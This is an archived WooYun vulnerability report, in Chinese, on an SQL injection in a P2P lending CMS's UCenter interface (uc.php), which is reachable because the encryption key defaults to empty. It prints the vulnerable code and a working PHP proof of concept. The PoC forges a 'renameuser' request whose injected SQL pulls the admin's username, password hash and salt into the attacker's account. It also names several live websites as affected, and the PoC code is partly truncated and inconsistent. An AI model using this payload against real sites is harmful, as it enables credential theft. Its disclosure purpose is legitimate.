乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-14: 细节已通知厂商并且等待厂商处理中 2015-10-19: 厂商已经确认,细节仅向厂商公开 2015-10-22: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航) 2015-12-13: 细节向核心白帽子及相关领域专家公开 2015-12-23: 细节向普通白帽子公开 2016-01-02: 细节向实习白帽子公开 2016-01-17: 细节向公众公开
如题如题
出现在uc接口文件上modules\ucenter\api\uc.php
error_reporting(7);define('UC_CLIENT_ROOT', DISCUZ_ROOT.'./client/');chdir('../');require_once './config.inc.php';$code = $_GET['code'];parse_str(authcode($code, 'DECODE', UC_KEY), $get);if(MAGIC_QUOTES_GPC) { $get = dstripslashes($get);}
没有判断uc是否开关而且
if(MAGIC_QUOTES_GPC) { $get = dstripslashes($get)
这里把gpc去掉了
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($strin
自带的加密函数,key默认是空的所以导致注入了
elseif($action == 'renameuser') { !API_RENAMEUSER && exit(API_RETURN_FORBIDDEN); //用户改名 API 接口 $uid = $get['uid']; $usernamenew = $get['newusername']; $db->query("UPDATE {$tablepre}members SET username='$usernamenew' WHERE uid='$uid'"); exit(API_RETURN_SUCCEED);
随便找到一处可以注入
案例:
www.jinmaoweidai.com www.herunwang.com syziben.com www.lcbang.cn www.cheyidai88.com
<?php $_G['time'] = time()+10*36000;$_G['action'] = 'renameuser';$_G['newusername'] = "xser',email=(SELECT ROW FROM(SELECT CONCAT(userid,0x7c,username,0x7c,PASSWORD,0x7c,salt) ROW FROM #table_member WHERE userid = 1 limit 0,1)X1 ) where username = 'xser' #";// 数据更新到你的账号上。$code = urlencode(_authcode(http_build_query($_G), 'ENCODE'));echo $code;function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }?>
危害等级:高
漏洞Rank:15
确认时间:2015-10-19 10:27
感谢您的提交,在我们早期的V3版本中确实存在这类的问题,已提交研发部门进行相关漏洞的修复,再次感谢您对我们帝友的关注。
暂无